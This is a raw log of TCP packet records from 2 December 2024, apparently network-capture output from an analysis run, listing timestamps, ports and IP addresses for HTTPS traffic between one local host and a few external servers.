Dec 2, 2024 01:34:17.188911915 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:17.188971996 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:17.188992977 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:17.189035892 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:17.191649914 CET	49707	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:17.191678047 CET	443	49707	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:17.837579012 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.837857008 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.837888956 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.837905884 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.838282108 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.838309050 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.838993073 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.839081049 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.839478970 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.839551926 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.840126038 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.840431929 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.840446949 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.840581894 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.840670109 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.840699911 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.841103077 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.841104031 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.841186047 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.841548920 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.841629028 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.842307091 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.842369080 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.842420101 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.879930973 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.880160093 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.880172014 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.881756067 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.881936073 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.882338047 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.882405043 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.882443905 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.887334108 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.887346983 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.887976885 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.888528109 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.888573885 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.888991117 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.888999939 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.889692068 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.889709949 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.889713049 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.889723063 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.927354097 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:17.936376095 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.936383963 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:17.938209057 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.938738108 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.938755989 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.939208984 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.939270020 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.939275980 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.939579964 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.939611912 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:17.941651106 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:17.941669941 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.005455017 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.006100893 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.006143093 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.006546974 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.006555080 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.030136108 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.030164957 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.030200958 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.030215025 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.129040003 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.129123926 CET	443	49716	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.129235983 CET	49716	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.215425014 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.221071005 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.221079111 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.263328075 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.325690031 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.325773001 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.325994968 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.325994968 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.326050997 CET	49725	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.326071024 CET	443	49725	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.328823090 CET	49731	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.328890085 CET	443	49731	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.329091072 CET	49731	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.329232931 CET	49731	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.329248905 CET	443	49731	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.383898973 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.383975983 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.384102106 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.384265900 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.384287119 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.384303093 CET	49722	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.384308100 CET	443	49722	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.387094021 CET	49732	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.387139082 CET	443	49732	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.387305975 CET	49732	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.387428999 CET	49732	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.387439013 CET	443	49732	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.390149117 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.390213966 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.390377998 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.390377998 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.390506029 CET	49723	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.390515089 CET	443	49723	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.392657995 CET	49733	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.392685890 CET	443	49733	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.392808914 CET	49733	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.393110991 CET	49733	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.393122911 CET	443	49733	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.458796024 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.458867073 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.459117889 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.459117889 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.459167957 CET	49724	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.459188938 CET	443	49724	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.461828947 CET	49734	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.461859941 CET	443	49734	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.462060928 CET	49734	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.462109089 CET	49734	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.462115049 CET	443	49734	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.714550018 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.714622974 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.714744091 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.714761019 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.714874983 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.714910984 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.714919090 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.727574110 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.727646112 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.727660894 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.740293980 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.740346909 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.740390062 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.740406036 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.740446091 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.746191978 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.746591091 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.746649981 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.747665882 CET	49718	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.747684002 CET	443	49718	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.750688076 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.765528917 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.766133070 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.766160965 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.766653061 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:18.766658068 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:18.818032026 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818062067 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818068027 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818070889 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818109989 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818150043 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.818171024 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.818187952 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.818221092 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.834409952 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.834614992 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.834625006 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.843264103 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.843334913 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.843342066 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.843372107 CET	443	49713	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:18.843527079 CET	49713	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:18.920937061 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.920957088 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.923513889 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.923573971 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.923580885 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.933897018 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.933954954 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.933964014 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.935858965 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.935904026 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.935909033 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.949539900 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.949589968 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.949598074 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.963022947 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.963099003 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.963107109 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.995738983 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.995830059 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.995841026 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.999167919 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:18.999219894 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:18.999226093 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.008377075 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.008433104 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.008440971 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.016427994 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.016458988 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.016500950 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.016508102 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.016695976 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.026628971 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.038964987 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.039017916 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.039033890 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.116868019 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.116915941 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.116930962 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.119365931 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.119419098 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.119427919 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.120590925 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.120626926 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.121006012 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.121052027 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.121058941 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.121119976 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.121727943 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.121794939 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.121840000 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.122380972 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.122391939 CET	443	49717	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.122417927 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.122442007 CET	49717	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.124597073 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.124806881 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.124811888 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.131998062 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.132112980 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.132119894 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.132124901 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.132173061 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.137125015 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.143512011 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.143573046 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.143578053 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.155033112 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.155092955 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.155097008 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.165765047 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.165829897 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.165833950 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.176610947 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.176656008 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.176660061 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.187304020 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.187402010 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.187421083 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.187424898 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.187478065 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.198072910 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.208806992 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.208856106 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.208861113 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.218734026 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.218796015 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.218866110 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.219100952 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.219125986 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.219137907 CET	49729	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.219145060 CET	443	49729	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.219482899 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.219579935 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.219621897 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.219626904 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.219707966 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.222723007 CET	49737	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.222778082 CET	443	49737	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.222861052 CET	49737	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.223023891 CET	49737	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:19.223037004 CET	443	49737	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:19.229878902 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.239382029 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.239492893 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.239887953 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.239897966 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.239936113 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.248325109 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.257159948 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.257201910 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.257208109 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.266001940 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.266043901 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.266048908 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.274652958 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.274699926 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.274704933 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.276011944 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.276051998 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.276056051 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.285047054 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.285111904 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.285115957 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.290472984 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.290514946 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.290518999 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.297921896 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.297996998 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.298006058 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.301543951 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.301588058 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.301592112 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.319336891 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.319386005 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.319392920 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.322134018 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.322170019 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.322174072 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.324918032 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.324953079 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.324955940 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.329004049 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.329060078 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.329063892 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.334573984 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.334677935 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.334681034 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.337371111 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.337485075 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.337488890 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.346082926 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.346127033 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.346131086 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.346218109 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.346246958 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.346251011 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.348824024 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.348882914 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.348989964 CET	49719	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.349000931 CET	443	49719	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.890746117 CET	49742	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.890800953 CET	443	49742	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:19.890861034 CET	49742	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.891168118 CET	49742	443	192.168.2.7	172.217.21.36
Dec 2, 2024 01:34:19.891180038 CET	443	49742	172.217.21.36	192.168.2.7
Dec 2, 2024 01:34:20.044595003 CET	443	49731	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:20.045485020 CET	49731	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:20.045528889 CET	443	49731	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:20.047482014 CET	49731	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:20.047487974 CET	443	49731	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:20.166829109 CET	443	49732	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:20.167320013 CET	49732	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:20.167335987 CET	443	49732	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:20.167762041 CET	49732	443	192.168.2.7	13.107.246.63
